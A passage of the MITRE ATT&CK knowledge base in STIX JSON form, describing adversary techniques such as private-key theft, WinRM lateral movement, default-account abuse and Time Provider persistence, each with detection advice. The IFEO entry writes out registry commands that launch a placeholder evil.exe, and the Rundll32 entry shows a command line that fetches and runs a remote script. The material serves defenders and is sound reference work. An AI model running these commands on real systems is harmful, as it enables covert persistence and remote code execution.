                    "source_name": "Wikipedia Public Key Crypto",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
                }
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            ],
            "modified": "2025-04-15T19:58:35.201Z",
            "name": "Private Keys",
            "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
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            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
            "created": "2020-10-01T00:48:09.578Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/004",
                    "external_id": "T1583.004"
                },
                {
                    "source_name": "Freejacked",
                    "description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.",
                    "url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                },
                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
                    "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T23:05:58.721Z",
            "name": "Server",
            "description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dor Edry, Microsoft"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Internet Scan: Response Metadata",
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "created": "2020-02-11T18:29:47.757Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/006",
                    "external_id": "T1021.006"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
                },
                {
                    "source_name": "Jacobsen 2014",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
                },
                {
                    "source_name": "MSDN WMI",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                },
                {
                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:22:03.699Z",
            "name": "Windows Remote Management",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior.  Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Connection Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
            "created": "2020-03-09T17:07:57.392Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1011/001",
                    "external_id": "T1011.001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.466Z",
            "name": "Exfiltration Over Bluetooth",
            "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
            "created": "2020-03-13T20:15:31.974Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1078/001",
                    "external_id": "T1078.001"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
                },
                {
                    "source_name": "AWS Root User",
                    "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"
                },
                {
                    "source_name": "Microsoft Local Accounts Feb 2019",
                    "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts"
                },
                {
                    "source_name": "Metasploit SSH Module",
                    "description": "undefined. (n.d.). Retrieved April 12, 2019.",
                    "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh"
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
                },
                {
                    "source_name": "Pentera vCenter Information Disclosure",
                    "description": "Yuval Lazar. (2022, March 29). Mitigating VMware vCenter Information Disclosure. Retrieved March 26, 2025.",
                    "url": "https://pentera.io/blog/information-disclosure-in-vmware-vcenter/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.610Z",
            "name": "Default Accounts",
            "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account\u2019s credentials (for example, via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "created": "2020-01-24T15:51:52.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/003",
                    "external_id": "T1547.003"
                },
                {
                    "source_name": "Github W32Time Oct 2017",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "url": "https://github.com/scottlundgren/w32time"
                },
                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
                    "source_name": "Microsoft W32Time Feb 2018",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.700Z",
            "name": "Time Providers",
            "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
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                },
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                }
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            "x_mitre_contributors": [
                "Scott Lundgren, @5twenty9, Carbon Black",
                "Harun K\u00fc\u00dfner"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1183",
                    "external_id": "T1183"
                },
                {
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
                },
                {
                    "source_name": "Microsoft GFlags Mar 2017",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
                },
                {
                    "source_name": "Microsoft Silent Process Exit NOV 2017",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
                },
                {
                    "source_name": "Oddvar Moe IFEO APR 2018",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FSecure Hupigon",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
                },
                {
                    "source_name": "Symantec Ushedix June 2008",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
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            "modified": "2025-04-25T15:15:36.905Z",
            "name": "Image File Execution Options Injection",
            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1</code>\n* <code>reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"</code>\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "created": "2017-05-31T21:31:06.045Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1085",
                    "external_id": "T1085"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
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            "modified": "2025-04-25T15:15:37.076Z",
            "name": "Rundll32",
            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
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                {
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                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ricardo Dias",
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "created": "2017-05-31T21:30:34.928Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1031",
                    "external_id": "T1031"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html",
                    "external_id": "CAPEC-551"
                },
                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "Microsoft Service Recovery Feb 2013",
                    "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
